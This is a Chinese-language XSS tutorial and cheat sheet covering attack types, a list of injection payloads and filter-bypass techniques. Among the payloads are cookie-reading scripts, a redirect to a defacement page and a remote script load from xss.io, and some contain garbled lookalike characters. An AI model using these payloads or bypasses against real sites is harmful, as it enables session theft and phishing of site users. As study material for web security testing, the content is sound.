目录
跨站脚本攻击漏洞概述
跨站脚本攻击漏洞类型及场景
XSS常用的绕过方式
跨站脚本攻击漏洞实操
跨站脚本攻击漏洞概述
什么是跨站脚本攻击?
跨站脚本( Cross-site Scripting)攻击,攻击者通过网站注入点注入客户端可执行解析的payload(脚本代码),当用户访问网页时,恶意payload自动加载并执行,以达到攻击者目的(窃取cookie、恶意传播、钓鱼欺骗等)。
为了避免 与HTML语言中的CSS相混淆,通常称它为"XSS”
危害?
•获取用户信息;(如浏览器信息、ip地址、cookie信息等)
• 钧鱼;(利用xss漏洞构造出一个登录框,骗取用户账户密码,提示登录过期,模拟一个
网站的登录框,将用户名、密码发送到攻击者服务器)
•注入木马或广告链接;(有些在主站注入非法网站的链接,对公司的声誉有一定的影响)
•后台增删改网站数据等操作;(配合CSRF漏洞 ,骗取用户点击,利用js模找浏览器发包)
•xss蠕虫(微博蠕虫:只要看过某人的微博就是自动关注某人;贴吧蠕虫:看过某个帖子
就是自动回复这个贴子)
漏洞类型以及应用场景
•反射型xs——非持久型,一次性攻击——可用于钓鱼、引流、配合其他漏洞如CSRF等
•存储型xss——持久型,伴随数据存在——攻击范围大,流量传播大,可配合其他漏洞。
•DOM型xss——基于文档对象模型——配合,长度大小不受限制。
htlm里 | js里 | |
常用标签 | <iframe> | alert |
<textarea> | window.location | |
<img> | location.href | |
<script> | on类型:onsubmint、onerror、 onmouseout、onclick等 |
关于“见框就插”我的收藏
<script>alert(123)</script>
Javascript:alert(123)
<img src=x οnerrοr="alert(123)"/>
οnmοuseοver='javascript:alert(123)'
<a href=javascript:alert(123)>hahahahahaha</a>
<div Onclick="alert('xss')">
< img src=1 alert(1)> (显示1)
<script>alert("xss")</script> (显示xss)
<script>alert(document.cookie)</script> (显示cookie)
<script>window.location="(你的黑页地址)";</script>
< img src="javascript:alert('XSS')">
<script>alert(document.cookie)</script>
'><script>alert(document.cookie)</script>
"+alert('XSS')+"
<script src="http://xss.io/a.js"></script>
<div οnclick="alert('xss')">
<div οnmοuseenter="alert('xss')">
"οnclick="alert(document.cookie)
XSS常用的绕过方式
1.大小写绕过
代码如下(示例):
<script>alert(“xss”);</script>
<ScRipt>ALeRt(“XSS”);</sCRipT>
2.空格/回车(换行符)/Tab
当过滤掉了Javascript等敏感字符串时就对字符串进行添加空格,换行或tab,此处利用js自身的性质:js通常用分号结尾,当解析到完整语句并且行尾存在换行符的情况下就可以忽略掉分号,若解析确定不是完整语句,则会继续处理,直到语句结束或出现分号。
例如下列语句,我们利用空格将语句分隔成了两部分,解析引擎解析确定到的不是完整的语句,JavaScript则会继续进行处理直到这个语句结束,利用换行符和tab同理
代码如下(示例):
<img src="java script:alert(‘xss‘);" width=100>
或者
<img src="javascript: alert(‘xss‘);" width=100>
3.堆叠绕过
类似于 输出为 为变量$str
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
可以采用oonn避开过滤 机制是吧中间的on过滤了
4.事件绕过
就是加入一些事件 此方法可绕过大部分SRC域名过滤器,它允许将事件替换为任何标签中可用的事件类型,例如onblur,onclick
事件 | 描述 |
onclick | 在用户使用鼠标左键点击对象时触发 |
ondblclick | 用户双击对象时触发 |
onmousedown | 用户用任何鼠标按键单击对象时触发 |
onmouseenter/onmouseover | 用户将鼠标指针移动到对象内时触发 |
onmouseleave/onmouseout | 用户将鼠标移出对象边界时触发 |
onmousemove | 用户将鼠标划过对象时触发 |
onmouseup | 用户在鼠标位于对象之上时释放鼠标按钮触发 |
onmousewheel | 鼠标滚轮按钮旋转时触发 |
onpaste | 用户粘贴数据以便从剪切板向文档传输数据在目标对象上时触发 |
onpropertychange | 在对象上发生对象属性更改时触发 |
onkeydown | 用户按下键盘按键时触发 |
onerror | 装载文档或图像的过程中发生错误时触发 |
onload | 加载完毕自动触发 |
5.伪协议绕过
利用 在a标签里插入 javascript: 伪协议
6.前端抓包绕过
过滤严格的函数可能也会将标签进行严格控制,但是如果用其他形式表示标签,脚本仍能解析却可以绕过过滤
参考链接:https://blog.youkuaiyun.com/weixin_55821558/article/details/123534829